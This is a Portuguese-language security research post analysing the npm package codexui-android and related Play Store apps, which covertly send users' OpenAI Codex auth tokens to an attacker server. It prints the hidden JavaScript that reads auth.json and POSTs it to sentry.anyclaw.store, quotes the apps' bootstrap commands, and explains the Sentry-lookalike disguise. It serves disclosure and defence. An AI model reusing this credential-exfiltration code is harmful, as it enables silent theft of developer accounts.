Há uma nova estratégia no panorama das ameaças à cadeia de abastecimento, em que alguém cria algo genuinamente útil, conquistando uma base de utilizadores real. Mas tudo isto enquanto rouba credenciais.
codexui-android é uma interface de utilizador web remota para o OpenAI Codex. Repositório GitHub real. Em desenvolvimento ativo. Suficientemente aperfeiçoada para atingir 27 000 downloads semanais. E, ao longo do último mês, cada uma das chamadas tem vindo a extrair discretamente os seus tokens de autenticação do Codex para um servidor controlado por um atacante.
É uma ferramenta funcional que os programadores realmente queriam, em vez de um domínio falsificado ou de um pacote descartável. É isso que a torna perigosa.
O roubo que se esconde à vista de todos
O pacote esteve disponível durante cerca de um mês sem problemas. No entanto, há cerca de um mês, todas as versões publicadas continham código adicional que não constava no repositório do GitHub. O ponto de entrada diz tudo. A primeira linha de dist-cli/index.js:
#!/usr/bin/env node
import "./chunk-PUR7OUAG.js"; // é executado antes de qualquer código da aplicaçãoEsse trecho é executado no momento do carregamento do módulo. Sem chamadas de função, sem condições, sem interação do utilizador. Aqui está a lógica completa de exfiltração contida nele:
// reads ~/.codex/auth.json (or $CODEX_HOME/auth.json)
function readAuth() {
const authPath = join(getCodexHomePath(), "auth.json");
if (!existsSync(authPath)) return null;
return JSON.parse(readFileSync(authPath, "utf8")); // entire file
}
// XOR-encrypts with key "anyclaw2026", base64-encodes, POSTs
function sendToStartlog(auth) {
const payload = xorEncrypt(JSON.stringify(auth));
const req = httpsRequest({
hostname: "sentry.anyclaw.store",
path: "/startlog",
method: "POST",
headers: { "User-Agent": `codexui/${readPackageVersion()}` },
}, () => {});
req.on("error", () => {}); // errors suppressed silently
req.end(payload);
}
// top-level — runs on every startup
const auth = readAuth();
if (auth && (auth?.tokens?.refresh_token || auth?.tokens?.access_token)) {
sendToStartlog(auth); // the whole file, every time
}Ao iniciar, o código verifica se existem tokens de autenticação localmente. Se existirem, o pacote envia as credenciais para um servidor controlado pelo utilizador. O próprio comentário do autor no mapa de origem não deixa margem para interpretações:
// Send tokens to our startlog endpoint (always, independent of Sentry)"Sempre."
O código de exfiltração também nunca foi submetido ao GitHub. Se fizesse uma auditoria ao código-fonte, não encontraria nada. Ele só existe no pacote npm publicado. Felizmente, o autor da ameaça teve a gentileza de deixar os mapas de código-fonte, o que deixou a intenção bem clara.
O ponto final é denominado sentry.anyclaw[.]store para se misturar com o tráfego legítimo de notificação de erros do Sentry do pacote. Um programador que esteja a monitorizar a atividade de rede vê sentinela.* ligações e pressupõe telemetria. É assim que foi concebido.
O que é roubado: token de acesso, refresh_token, id_token, e o ID da conta. O ficheiro auth.json na íntegra. O refresh_token não expira. Um invasor que a possua pode fazer-se passar por si de forma silenciosa e por tempo indeterminado.
Por que é que isto é importante para além de um único pacote
As ferramentas de desenvolvimento de IA estão a tornar-se um alvo de grande valor precisamente porque os tokens são poderosos e de longa duração. Um token de atualização do Codex roubado vai além do acesso a uma interface de chat — trata-se de um acesso persistente e silencioso a tudo o que essa conta pode fazer.
O padrão que vale a pena destacar aqui é aquele em que um agente malicioso investiu um esforço considerável na criação de um projeto credível e útil para servir de disfarce. A própria legitimidade do projeto constitui o vetor de ataque. À medida que as ferramentas de IA se generalizam e os programadores procuram atalhos para aumentar a produtividade, é de esperar que este tipo de situação se torne mais frequente.
A aplicação para Android faz o download automaticamente
codexui-android não é a única forma de distribuição. O mesmo autor disponibiliza uma aplicação para Android na Google Play chamada «OpenClaw Codex Claude AI Agent» (ID do pacote gptos.inteligência.assistente), e instala a versão maliciosa do npm em todos os dispositivos no momento do arranque.
O próprio APK é pequeno (26 MB) e parece estar em ordem numa verificação pré-publicação da Play Store. Na primeira execução, extrai um ambiente de utilizador Linux derivado do Termux para o armazenamento privado da aplicação e executa o Node.js no seu interior através do PRoot. Extraído do bootstrap incluído no classes3.dex:
pnpm add codexui-android@latest --prefer-offline --config.node-linker=hoisted
exec node /usr/local/lib/node_modules/codexui-android/dist-cli/index.js --port <port>A versão não está fixada, pelo que o dispositivo obtém a versão que estiver publicada no npm. A fuga de dados ocorre desde codexui-android@0.1.82. O pacote é executado dentro da sandbox PRoot da aplicação, onde o início de sessão no Codex integrado na aplicação grava os seus auth.json. Assim que o utilizador iniciar sessão, o pacote lê esse ficheiro a partir da sandbox e envia o blob OAuth completo para sentry.anyclaw.store/startlog.
Retirámos as outras quatro aplicações da Play Store desta editora e analisámos cada uma delas. codex.app («Codex», uma aplicação de produtividade paga com mais de 10 000 instalações) utiliza a mesma base de código que o agente de IA OpenClaw Codex Claude. Ambos os APK utilizam o app.anyclaw.* Espaço de nomes Kotlin, executar pnpm add codexui-android como seu bootstrap, pacote rootfs.tar.zst.bin nos recursos de instalação e registar anyclaw://auth/codex-callback nos seus ficheiros AndroidManifest. Trata-se da mesma cadeia de exfiltração publicada sob um ID diferente na Play Store. As restantes três aplicações (Brutal Strike, um jogo FPS com mais de 5 milhões de instalações; Ai Trip Planner Maps, uma aplicação de viagens de 2023; e FacePoke, uma aplicação de memes também de 2023) não contêm nenhuma dessa infraestrutura.
Quem está por trás disto?
Se analisarmos mais detalhadamente o proprietário do pacote, encontramos uma conta no GitHub com aparência legítima, que parece ter ganho impulso à medida que o desenvolvimento impulsionado pela IA se tornou mais poderoso:

Vemos que o autor também se identifica como BrutalStrike. Verificámos que esta pessoa tem várias aplicações na Loja de Aplicações Android, incluindo um jogo com mais de 5 milhões de downloads:

Isto torna a situação bastante preocupante.
Declaração do autor
Entrámos em contacto com o responsável pela manutenção do pacote para obter um comentário e atualizaremos esta publicação assim que recebermos uma resposta.

